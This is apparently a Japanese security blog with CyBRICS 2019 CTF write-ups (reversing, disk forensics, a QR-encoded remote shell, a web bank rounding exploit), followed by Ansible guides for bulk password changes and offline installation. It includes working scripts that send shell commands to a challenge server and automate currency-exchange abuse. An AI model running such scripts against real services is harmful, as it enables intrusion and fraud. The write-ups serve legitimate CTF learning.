        memcpy(msg + strlen(msg) - 33, tmp, 33);
    }
    putchar('\n');
    return 0;
}

FLAG

cybrics{pdp_gpg_crc_dtd_bkb_php}

Matreshka (Reverse, Easy, 50 pts)

問題

Matreshka hides flag. Open it
matreshka.zip

解答例

zipファイルを展開すると、クラスファイルとdataファイルが入っていました。

$ file *
Code2.class: compiled Java class data, version 54.0
data.bin:    data

とりあえず実行してみると、Noと表示されます。

PS> java.exe Code2
No

jadを使ってデコンパイルしてコードを確認してみます。

PS> jad.exe .\Code2.class
Parsing .\Code2.class... Generating Code2.jad

デコンパイル結果を確認すると、どうやらユーザ名が正しくないと「No」となってしまうようです。

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   2.java

import java.io.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

class Code2
{

    Code2()
    {
    }

    public static byte[] decode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(2, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static byte[] encode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(1, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static void main(String args[])
        throws Exception
    {
        String s = "matreha!";
        byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s);
        byte abyte1[] = {
            76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 
            92, 1, 99, -94, 105, -18
        };
        for(int i = 0; i < abyte1.length; i++)
            if(abyte1[i] != abyte0[i])
            {
                System.out.println("No");
                return;
            }

        File file = new File("data.bin");
        FileInputStream fileinputstream = new FileInputStream(file);
        byte abyte2[] = new byte[(int)file.length()];
        fileinputstream.read(abyte2);
        fileinputstream.close();
        byte abyte3[] = decode(abyte2, System.getProperty("user.name"));
        FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin");
        fileoutputstream.write(abyte3, 0, abyte3.length);
        fileoutputstream.flush();
        fileoutputstream.close();
    }
}

上記のコードを書き換えて、本来のユーザ名を特定します。

import java.io.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

class Matreshka
{

    Matreshka()
    {
    }

    public static byte[] decode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(2, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static void main(String args[])
        throws Exception
    {
        String s = "matreha!";
        byte abyte1[] = {
            76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 
            92, 1, 99, -94, 105, -18
        };
        byte dec_abyte1[] = decode(abyte1, s);
        System.out.println(new String(dec_abyte1));
    }
}

上記のプログラムを実行して確認すると、「lettreha」が本来のユーザ名だと分かりました。

PS> javac .\Matreshka.java
PS> java Matreshka
lettreha

元のソースコードSystem.getProperty("user.name") のところを「lettreha」に置き換えました。

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   2.java

import java.io.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;

class Code2
{

    Code2()
    {
    }

    public static byte[] decode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(2, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static byte[] encode(byte abyte0[], String s)
        throws Exception
    {
        SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES");
        byte abyte1[] = s.getBytes();
        DESKeySpec deskeyspec = new DESKeySpec(abyte1);
        javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec);
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(1, secretkey);
        byte abyte2[] = cipher.doFinal(abyte0);
        return abyte2;
    }

    public static void main(String args[])
        throws Exception
    {
        String s = "matreha!";
        String username = "lettreha";
        // byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s);
        byte abyte0[] = encode(username.getBytes(), s);
        byte abyte1[] = {
            76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 
            92, 1, 99, -94, 105, -18
        };
        for(int i = 0; i < abyte1.length; i++)
            if(abyte1[i] != abyte0[i])
            {
                System.out.println("No");
                return;
            }

        File file = new File("data.bin");
        FileInputStream fileinputstream = new FileInputStream(file);
        byte abyte2[] = new byte[(int)file.length()];
        fileinputstream.read(abyte2);
        fileinputstream.close();
        // byte abyte3[] = decode(abyte2, System.getProperty("user.name"));
        byte abyte3[] = decode(abyte2, username);
        FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin");
        fileoutputstream.write(abyte3, 0, abyte3.length);
        fileoutputstream.flush();
        fileoutputstream.close();
    }
}

上記のプログラムを実行すると、「stage2.bin」というファイルが生成されました。

PS> javac .\Code2.java
PS> java Code2

2つ目のファイルは、ELFファイルのようです。

$ file stage2.bin
stage2.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

とりあえず、実行してみましたが、やはり「Fail」と表示されるようです。

$ ./stage2.bin
Fail

まずは、gdb-pedaで「Fail」の表示箇所を見つけます。 writeシステムコールでbreakさせて、少しステップ実行してみます。

gdb-peda$ catch syscall 1
gdb-peda$ r

すると、エラーを表示していそうな箇所を見つけることができました。

[----------------------------------registers-----------------------------------]
RAX: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...)
RBX: 0x427890 (<runtime.printunlock+96>:        jmp    0x427830 <runtime.printunlock>)
RCX: 0xc0000003b1 --> 0x100000000000001
RDX: 0x0
RSI: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...)
RDI: 0x2
RBP: 0xc00002a788 --> 0xc00002a790 --> 0x428737 (<runtime.main+519>:    mov    eax,DWORD PTR [rip+0x121b93]        # 0x54a2d0 <runtime.runningPanicDefers>)
RSP: 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base  code="...)
RIP: 0x47630d (<main.main+861>: mov    rbp,QWORD PTR [rsp+0xb8])
R8 : 0x5
R9 : 0x5
R10: 0x5
R11: 0x206
R12: 0xc ('\x0c')
R13: 0xb ('\x0b')
R14: 0x200
R15: 0x200
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4762fa <main.main+842>:    mov    QWORD PTR [rsp+0x8],0x5
   0x476303 <main.main+851>:    call   0x4280d0 <runtime.printstring>
   0x476308 <main.main+856>:    call   0x427830 <runtime.printunlock>
=> 0x47630d <main.main+861>:    mov    rbp,QWORD PTR [rsp+0xb8]
   0x476315 <main.main+869>:    add    rsp,0xc0
   0x47631c <main.main+876>:    ret
   0x47631d <main.main+877>:    call   0x44ea40 <runtime.morestack_noctxt>
   0x476322 <main.main+882>:    jmp    0x475fb0 <main.main>
[------------------------------------stack-------------------------------------]
0000| 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base  code="...)
0008| 0xc00002a6d8 --> 0x5
0016| 0xc00002a6e0 --> 0x4
0024| 0xc00002a6e8 --> 0x4
0032| 0xc00002a6f0 --> 0xc000014088 --> 0x746f6f72 ('root')
0040| 0xc00002a6f8 --> 0x4
0048| 0xc00002a700 --> 0x8
0056| 0xc00002a708 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
main.main () at /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go:25
25      /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go: No such file or directory.
gdb-peda$

アドレスが分かったので、Ghidraで対象のアドレス(0x47630d)を見てみます。

f:id:tsalvia:20190722001000p:plain

エラー表示をしていそうな関数(runtime.printstring())が見つかりました。 その少し上には、io/ioutil.WriteFile() や crypto/rc4.() などがあり、そこがメインのコードになっていそうです。 その場所(0x476181)にgdb-pedaで無理やりjumpしてみます。

gdb-peda$ b *0x476126
gdb-peda$ b *0x476181
gdb-peda$ r
gdb-peda$ jump *0x476181
gdb-peda$ c

すると、また新たに「result.pyc」という名前のファイル生成されました。

$ file result.pyc
result.pyc: data

また、今回はそのまま実行することができませんでした。

$ python3 result.pyc
RuntimeError: Bad magic number in .pyc file

拡張子的には、pycファイルとなっているので、とりあえずデコンパイルしてみます。 今回は、下記のサイトで行いました。

python-decompiler.com

デコンパイル結果は、以下の通りとなります。

def decode(data, key):
    idx = 0
    res = []
    for c in data:
        res.append(chr(c ^ ord(key[idx])))
        idx = (idx + 1) % len(key)

    return res


flag = [
 40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15]
print('Enter key to get flag:')
key = input()
if len(key) != 8:
    print('Invalid len')
    quit()
res = decode(flag, key)
print(''.join(res))

どうやらフラグは、8文字の文字列をキーとしたxor暗号で暗号化されているようです。 ただし、今回のフラグの初めの8文字は、cybrics{ であることが分かっています。

cybrics{ と 暗号化されたフラグでxorを取れば、キーが求められそうです。

CyberChefを使ってキーを求めてみます。

f:id:tsalvia:20190722003340p:plain

以上の結果から、今回のxorキーは、「Kr0H4137」だということが分かりました。 「Kr0H4137」を使って、フラグを復号することができました。

f:id:tsalvia:20190722003540p:plain

FLAG

cybrics{M4TR35HK4_15_B35T}

Disk Data (Forensic, Easy, 56 pts)

問題

Disk dump hides the flag. Obtain it
data2.zip.torrent

解答例

添付されたtorrentファイルからzipファイルをダウンロードし、展開するとExt4ファイルシステムのディスクイメージが出てきました。

$ file data2.bin
data2.bin: Linux rev 1.0 ext4 filesystem data, UUID=a795f441-a210-45b1-885b-ff53d3ca0a61 (extents) (huge files)

「data2.bin」をAutopsyで開いてみました。 しばらく漁っていると、「.bash_history」を見つけました。 コマンド履歴を見てみると、どこからかwgetで画像ファイルをダウンロードし、 ImageMagickのconvertコマンドで画像の一部を白く塗りつぶしているのが確認できました。

ls
ls -anl
bash
su rev
read -r URL
cd Downloads/
wget $URL
eog kTd0T9g.png 
convert kTd0T9g.png -fill white -draw "rectangle 0,0 300,35" kTd0T9g.png 
eog kTd0T9g.png 
ync
sync
ls -anl
cd Downloads/
wget https://www.torproject.org/dist/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz
wget https://github.com/geohot/qira/archive/v1.3.zip
unzip v1.3.zip 
ls
tar xvf tor-browser-linux64-8.5.4_en-US.tar.xz

編集された画像を見てみると、コマンド履歴の通り左上が白く塗りつぶされています。 画像を直接編集しているので復元できそうにありません。

f:id:tsalvia:20190721115838p:plain

さらに調査を進めると、ファイルのメタデータであるファイル拡張属性(user.xdg.origin.url)にURL(https://i.imgur.com/kTd0T9g.png)が残っていることに気が付きました。

f:id:tsalvia:20190721115735p:plain

実際にアクセスしてみると、白く塗りつぶされる前の画像が出てきました。 左上にフラグも確認できます。

f:id:tsalvia:20190722005044p:plain

FLAG

cybrics{A11W4Y5_D1G_D33P3R}

QShell (Cyber, Easy, 50 pts)

問題

QShell is running on
nc spbctf.ppctf.net 37338

Grab the flag

解答例

nc spbctf.ppctf.net 37338 で接続してみると、以下のようにQRコードが表示されます。

f:id:tsalvia:20190722005716p:plain

QRコードを読み取ると、プロンプトが出てきました。

sh-5.0$

. を入力してみると、「tile cannot extend outside image」とエラーが出てきました。 エラーの文章から推測すると、こちらも同じ形式でコマンドを送信しなけらばならないようです。 また、 . 以外の文字列だと反応しないことから、 . がコマンドの終端となっているようです。

QRコードをいちいち作るのは面倒くさいので、下記のサイトを参考し、qrencodeを使ってQRコードを生成させました。

orebibou.com

qrencodeのインストールは、下記コマンドでできます。

$ sudo apt-get install qrencode

以下のコマンドで、自由に文字列をQRコードに変換することができます。

$ qrencode -t ASCIIi "ls"
##########################################################
##########################################################
##########################################################
##########################################################
########              ######  ##  ##              ########
########  ##########  ##  ##  ##  ##  ##########  ########
########  ##      ##  ##  ##    ####  ##      ##  ########
########  ##      ##  ##########  ##  ##      ##  ########
########  ##      ##  ##          ##  ##      ##  ########
########  ##########  ##      ######  ##########  ########
########              ##  ##  ##  ##              ########
########################  ################################
########    ##  ####    ####      ##      ##    ##########
########          ######  ####  ##  ##  ##  ####  ########
############  ######  ####  ##  ####        ####  ########
##############    ####  ####  ##          ####    ########
##########  ####  ##            ##      ####    ##########
########################    ######    ##  ##  ##  ########
########              ##          ##  ##    ##  ##########
########  ##########  ####  ########  ######      ########
########  ##      ##  ####  ####      ######      ########
########  ##      ##  ##  ##  ####      ######    ########
########  ##      ##  ######    ##      ##    ##  ########
########  ##########  ##  ####    ####  ##  ##############
########              ##      ####  ##  ####    ##########
##########################################################
##########################################################
##########################################################
##########################################################

qrencodeの実行結果をpythonスクリプトに貼り付けて、QR送信用のプログラムを作成しました。 まずは、lsコマンド送信用のプログラムを作成しました。

from pwn import *

qr_ls = ["##########################################################", \
         "##########################################################", \
         "##########################################################", \
         "##########################################################", \
         "########              ######  ##  ##              ########", \
         "########  ##########  ##  ##  ##  ##  ##########  ########", \
         "########  ##      ##  ##  ##    ####  ##      ##  ########", \
         "########  ##      ##  ##########  ##  ##      ##  ########", \
         "########  ##      ##  ##          ##  ##      ##  ########", \
         "########  ##########  ##      ######  ##########  ########", \
         "########              ##  ##  ##  ##              ########", \
         "########################  ################################", \
         "########    ##  ####    ####      ##      ##    ##########", \
         "########          ######  ####  ##  ##  ##  ####  ########", \
         "############  ######  ####  ##  ####        ####  ########", \
         "##############    ####  ####  ##          ####    ########", \
         "##########  ####  ##            ##      ####    ##########", \
         "########################    ######    ##  ##  ##  ########", \
         "########              ##          ##  ##    ##  ##########", \
         "########  ##########  ####  ########  ######      ########", \
         "########  ##      ##  ####  ####      ######      ########", \
         "########  ##      ##  ##  ##  ####      ######    ########", \
         "########  ##      ##  ######    ##      ##    ##  ########", \
         "########  ##########  ##  ####    ####  ##  ##############", \
         "########              ##      ####  ##  ####    ##########", \
         "##########################################################", \
         "##########################################################", \
         "##########################################################", \
         "##########################################################"]

context(arch='amd64', os='linux')
p = remote('spbctf.ppctf.net', 37338)
ret = p.readuntil('.')
ret = p.readline().strip()

white = "\xe2\x96\x88"
black = "\x20"
for i in range(len(qr_ls)):
    qr = qr_ls[i].replace("##", white).replace("  ", black)
    p.sendline(qr)
p.sendline(".")
p.interactive()

上記のプログラムを実行すると、新たにQRコードが返ってきました。 少しバグっているようですが、問題なく読み取れました。

f:id:tsalvia:20190721125114p:plain

QRコードを読み取ると、以下の通りになっていました。

1.py
2.py
docker-compose.yml
Dockerfile
flag.txt
log.txt
qweqwe.png
rex.txt
runserver.sh
run.sh

次に、「cat flag.txt」という文字列をQRコードに変換し、送信用のプログラムを調整しました。

from pwn import *

qr_cat_flag = ["##########################################################", \
               "##########################################################", \
               "##########################################################", \
               "##########################################################", \
               "########              ####  ####  ##              ########", \
               "########  ##########  ##  ####  ####  ##########  ########", \
               "########  ##      ##  ####  ########  ##      ##  ########", \
               "########  ##      ##  ##  ####  ####  ##      ##  ########", \
               "########  ##      ##  ######      ##  ##      ##  ########", \
               "########  ##########  ##      ##  ##  ##########  ########", \
               "########              ##  ##  ##  ##              ########", \
               "############################      ########################", \
               "########          ##        ####    ##  ##  ##  ##########", \
               "########  ##    ########    ####    ##    ##  ##  ########", \
               "##########  ####  ##    ##      ##    ####      ##########", \
               "########  ##    ##  ####  ##  ############        ########", \
               "########  ####  ####  ######    ####    ##  ##############", \
               "########################  ######              ##  ########", \
               "########              ##  ######  ##  ######    ##########", \
               "########  ##########  ####  ####    ##  ####  ############", \
               "########  ##      ##  ##  ##          ##  ####    ########", \
               "########  ##      ##  ##  ##    ##  ##    ##  ############", \
               "########  ##      ##  ##    ##    ##########  ############", \
               "########  ##########  ##  ######    ##        ############", \
               "########              ##  ##  ####    ########  ##########", \
               "##########################################################", \
               "##########################################################", \
               "##########################################################", \
               "##########################################################"]

context(arch='amd64', os='linux')
p = remote('spbctf.ppctf.net', 37338)
ret = p.readuntil('.')
ret = p.readline().strip()

white = "\xe2\x96\x88"
black= "\x20"
for i in range(len(qr_ls)):
    qr = qr_cat_flag[i].replace("##", white).replace("  ", black)
    p.sendline(qr)
p.sendline(".")
p.interactive()

上記のプログラムを実行すると、またQRコードが返ってきました。

f:id:tsalvia:20190721125027p:plain

QRコードを読み取ると、フラグとなっていました。

FLAG

cybrics{QR_IS_MY_LOVE}

Bitkoff Bank (Web, Easy, 50 pts)

問題

Need more money! Need the flag!
http://45.77.201.191/index.php
Mirror: http://95.179.148.72:8083/index.php

解答例

リンクにアクセスすると、ユーザ名とパスワードの登録画面に飛ばされます。

f:id:tsalvia:20190722014224p:plain

登録するとメニュー画面に遷移します。

f:id:tsalvia:20190722014304p:plain

「MINE BTC」ボタンを押すと、自分のBTCが少しだけ増えます。

f:id:tsalvia:20190722014408p:plain

「change」ボタンでBTCとUSDの交換をすることができます。 最終的に、$1をどうにかして集めて、フラグを購入することが目標となるようです。

色々調査を進めてみると、USDとBTCの何度かの交換で、少しづつ増えていくことに気が付きました。

そこで、nodejsで以下の動作をするプログラムを作成しました。

  1. BTC(0.00001)をUSDに変換する
  2. USD(0.1)をBTCに変換する。
  3. USDが1以上になるまで、上記を繰り返す。
'use strict';
const request = require('request');

function send(error, response, body) {
    if (error) {
        console.log(error);
        return;
    }

    const usd = body.split('<b>')[1].split('</b>')[0];
    const btc = body.split('<b>')[2].split('</b>')[0];

    console.log('usd: ' + usd + '\tbtc: ' + btc);

    if (usd > 1)
        process.exit(0);
}

const options = {
    url: 'http://95.179.148.72:8083/index.php',
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Cookie': 'name=bitcoin_user; password=bitcoin_pass'
    },
    form: { 'from_currency': '', 'to_currency': '', 'amount': 0 }
}

setInterval(() => {
    options.form = { 'from_currency': 'btc', 'to_currency': 'usd', 'amount': 0.00001 };
    request(options, send);
    options.form = { 'from_currency': 'usd', 'to_currency': 'btc', 'amount': 0.1 };
    request(options, send);
}, 100);

上記のプログラムを実行すると、下記の通りになります。

$ node bitcoin.js

省略

usd: 0.784832   btc: 0.000024
usd: 0.684832   btc: 0.0000332
usd: 0.793888   btc: 0.0000232
usd: 0.793888   btc: 0.0000232
usd: 0.902944   btc: 0.0000132
usd: 0.902944   btc: 0.0000132
usd: 1.012      btc: 0.0000032

$1を越えたので、「buy flag ($1)」で購入すると、フラグが表示されました。

f:id:tsalvia:20190721200608p:plain

FLAG

cybrics{50_57R4n93_pR3c1510n}

Ansibleでパスワードを一括変更する(Linux編)

はじめに

2019年7月4日、5日に開催されたHardening II SUという大会に参加してきました。

wasforum.jp

大会の中で、大量のユーザ(最低100アカウント)のパスワードを短時間で変更しなければならない機会がありました。 Ansibleを使えば、複数のPCのユーザを一括で変更することができます。 今回は、Andibleを使ったLinux系のPCのユーザを一括で変更する方法について紹介します。

環境構築

検証環境

f:id:tsalvia:20190708013840p:plain

Ansibleをインストールする

  1. Ansibleをインストールする
    $ sudo apt-get install ansible
    
  2. インストール完了確認
    $ ansible --version
    ansible 2.2.1.0
      config file = /etc/ansble/ansble.cfg
      configured module search path = Default w/o overrides
    

※ オフラインでインストールしたい場合は、下記のページを参考にしてください。

tsalvia.hatenablog.com

制御対象のPCに疎通確認をする

  1. Ansibleで管理するクライアントを登録する。
    今回は、linuxというグループ名で登録する。
    $ vi hosts
    [linux]
    192.168.10.2 ansible_ssh_user='{{ srv1[1].name }}' ansible_ssh_pass='{{ srv1[1].password }}' ansible_become_pass='{{ srv1[0].password }}'
    192.168.10.3 ansible_ssh_user='{{ srv2[1].name }}' ansible_ssh_pass='{{ srv2[1].password }}' ansible_become_pass='{{ srv2[0].password }}'
    
  2. パスワードリストを作成する。
    ansible-vault コマンドを使って作成すれば、パスワードを暗号化することができる。
    $ ansible-vault create current_user_password.yml
    srv1:
      # Become User
      - name: root
        password: P@ssw0rd1
      # Login User
      - name: user1
        password: P@ssw0rd1
      # Other Users
      - name: user2
        password: P@ssw0rd1
      - name: user3
        password: P@ssw0rd1
      - name: user4
        password: P@ssw0rd1
      - name: user5
        password: P@ssw0rd1
      - name: user6
        password: P@ssw0rd1
      - name: user7
        password: P@ssw0rd1
      - name: user8
        password: P@ssw0rd1
      - name: user9
        password: P@ssw0rd1
    srv2:
      # Become User
      - name: root
        password: P@ssw0rd1
      # Login User
      - name: user1
        password: P@ssw0rd1
      # Other Users
      - name: user2
        password: P@ssw0rd1
      - name: user3
        password: P@ssw0rd1
      - name: user4
        password: P@ssw0rd1
      - name: user5
        password: P@ssw0rd1
      - name: user6
        password: P@ssw0rd1
      - name: user7
        password: P@ssw0rd1
      - name: user8
        password: P@ssw0rd1
      - name: user9
        password: P@ssw0rd1
    
  3. linuxグループに登録したクライアント全体にPingを送信する。
    $ ansible -i hosts linux -m ping --ask-vault-pass -e@current_user_password.yml
    192.168.10.2 | SUCCESS => {
        "changed": false,
        "ping": "pong"
    }
    192.168.10.3 | SUCCESS => {
        "changed": false,
        "ping": "pong"
    }
    

パスワードを一括変更する

  1. 新パスワード用のパスワードリストを作成する。
    ansible-vault コマンドを使って作成すれば、パスワードを暗号化することができる。
    $ ansible-vault create new_user_password.yml
    new_srv1:
      # Become User
      - name: root
        password: HvXGiYp843fH
      # Login User
      - name: user1
        password: iddxgw4UPWHV
      # Other Users
      - name: user2
        password: LfNRawjwdWFz
      - name: user3
        password: qyWfmgYBNE4h
      - name: user4
        password: u7E6JV9GJrsa
      - name: user5
        password: ew85Uji6hJbY
      - name: user6
        password: 5qumZFn9Bfdr
      - name: user7
        password: ra9ampz3Khur
      - name: user8
        password: FqV7fKsSzfKC
      - name: user9
        password: zv2Ld32zFJBM
    new_srv2:
      # Become User
      - name: root
        password: thdEMxG5hFLY
      # Login User
      - name: user1
        password: QXDpkbJdZh4K
      # Other Users
      - name: user2
        password: t7JQmQFwbWFx
      - name: user3
        password: qRuPadS9sLTN
      - name: user4
        password: U8QHRabhjdyQ
      - name: user5
        password: XGLGvX8h9z22
      - name: user6
        password: BLrDZfcCWVSU
      - name: user7
        password: S6sYCFDe9Y66
      - name: user8
        password: Rf2i4zJ3AhU7
      - name: user9
        password: kj6hQUjFnheN
    
  2. パスワード変更用のPlaybookを作成する。
    • パスワード変更手順
      1. rootのパスワードだけ変更する。
      2. becomeで権限を変更する際に使用するパスワードを新しいパスワードに置き換える。
      3. root以外のユーザのパスワードを変更する。
    • 各キーの意味
      • become:yesにすると、権限を変更してくれる。
      • become_method:権限変更のメソッドを選択する(su もしくは sudo)
      • no_log:yesにすると、変更されたパスワードがログに残らないようになる。
      • vars_files:外部ファイル(パスワードリスト)を指定する。
      • user:ユーザの管理ができる
      • set_fact:fact(ansible_xxx形式のもの)値の書換えができる
    $ vi change_password.yml
    - hosts: 192.168.10.2
      become: yes
      become_method: su
      no_log: yes
      vars_files:
        - new_user_password.yml
      tasks:
        - name: change root's password
          user:
            name: "{{ new_srv1[0].name }}"
            password: "{{ new_srv1[0].password | password_hash('sha256') }}"
        - name: set new root's password
          set_fact:
            ansible_become_pass: "{{ new_srv1[0].password }}"
        - name: change password
          user:
            name: "{{ item.name }}"
            password: "{{ item.password | password_hash('sha256') }}"
          when: item.name != "{{ new_srv1[0].name }}"
          with_items:
            - "{{ new_srv1 }}"
    - hosts: 192.168.10.3
      become: yes
      become_method: su
      no_log: yes
      vars_files:
        - new_user_password.yml
      tasks:
        - name: change root's password
          user:
            name: "{{ new_srv2[0].name }}"
            password: "{{ new_srv2[0].password | password_hash('sha256') }}"
        - name: set new root's password
          set_fact:
            ansible_become_pass: "{{ new_srv2[0].password }}"
        - name: change password
          user:
            name: "{{ item.name }}"
            password: "{{ item.password | password_hash('sha256') }}"
          when: item.name != "{{ new_srv2[0].name }}"
          with_items:
            - "{{ new_srv2 }}"
    
  3. Playbookの実行結果
    $ ansible-playbook -i hosts change_password.yml --ask-vault-pass -e@current_user_password.yml
    
    PLAY [192.168.10.2] ************************************************************
    
    TASK [setup] *******************************************************************
    ok: [192.168.10.2]
    
    TASK [change root's password] **************************************************
    changed: [192.168.10.2]
    
    TASK [set new root's password] *************************************************
    ok: [192.168.10.2]
    
    TASK [change password] *********************************************************
    skipping: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    
    PLAY [192.168.10.3] ************************************************************
    
    TASK [setup] *******************************************************************
    ok: [192.168.10.3]
    
    TASK [change root's password] **************************************************
    changed: [192.168.10.3]
    
    TASK [set new root's password] *************************************************
    ok: [192.168.10.3]
    
    TASK [change password] *********************************************************
    skipping: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    
    PLAY RECAP *********************************************************************
    192.168.10.2               : ok=4    changed=2    unreachable=0    failed=0
    192.168.10.3               : ok=4    changed=2    unreachable=0    failed=0
    

おわりに

今回は、Ansibleを使ったLinux系のPCのユーザを一括で変更する方法について紹介しました。 Ansibleは、パスワード変更だけでなく、FWの設定やアップデートなど様々な自動化が行える構成管理ツールです。 Hardeningでも役に立った便利なツールなので、ぜひ試してみてください。

参考にしたサイト

オフラインのWindows10環境にAnsibleを導入する方法

はじめに

2019年7月4日、5日に開催されたHardening II SUという大会に参加してきました。

wasforum.jp

大会の中で、オフライン環境のWindiws10にAnsibleをインストールしなければならない機会がありました。 AnsibleをWindows10環境で動作させるためには、大まかに以下の3つの手順が必要です。

  • Linux環境(WSL)の準備
  • ansibleのインストール
  • pywinrmのインストール(Windowsも制御対象の場合のみ)

オフライン環境に導入するためには、少し面倒くさい手順が必要です。 大会当日に準備できなかった人が多かったみたいだったので、導入手順を紹介します。

検証環境

事前準備

オンライン環境で事前にパッケージをダウンロードしておく必要があります。 Ansibleやpywinrmは、依存しているパッケージがたくさんあり、準備だけでもかなり面倒くさいです。

1. WSL用のDebianディストリビューションパッケージのダウンロード

  • 以下のコマンドでダウンロードする
    PS1> Invoke-WebRequest -Uri https://aka.ms/wsl-debian-gnulinux -OutFile DeianGNULinux.Appx -UseBasicParsing
    
  • もしくは、以下のリンク先にある Debian GNU/Linux からダウンロードする。 docs.microsoft.com

2. Ansibleに必要なパッケージのダウンロード

2-1. 依存パッケージをすべてダウンロードするためのスクリプトを用意する

Ubuntu 16.04: 依存パッケージを含めたdebパッケージをダウンロードする - Narrow Escape を参考にしました。

  1. apt-rdepends(依存パッケージを表示するツール)をインストールする。
    $ sudo apt-get install apt-rdepends
    
  2. 依存パッケージをすべてダウンロードするためのスクリプト(download_deb_package.sh)を用意する。
    #!/bin/sh
    
    if [ $# -ne 1 ]; then
      prog=`basename ${0}`
      echo "usage: ${prog} <package>"
      exit 1
    fi
    
    TMP=`mktemp -t a.sh.XXXXXX`
    trap "rm $TMP* 2>/dev/null" 0
    
    check_virtual_package()
    {
      apt show $1 2> /dev/null | grep "not a real package" > /dev/null
      return $?
    }
    
    get_provide_package()
    {
      apt install -s $1 > ${TMP} 2> /dev/null
    
      local state=0
      local pkgs=""
      while read line; do
        if [ "${line}x" = "Package $1 is a virtual package provided by:x" ]; then
          state=1
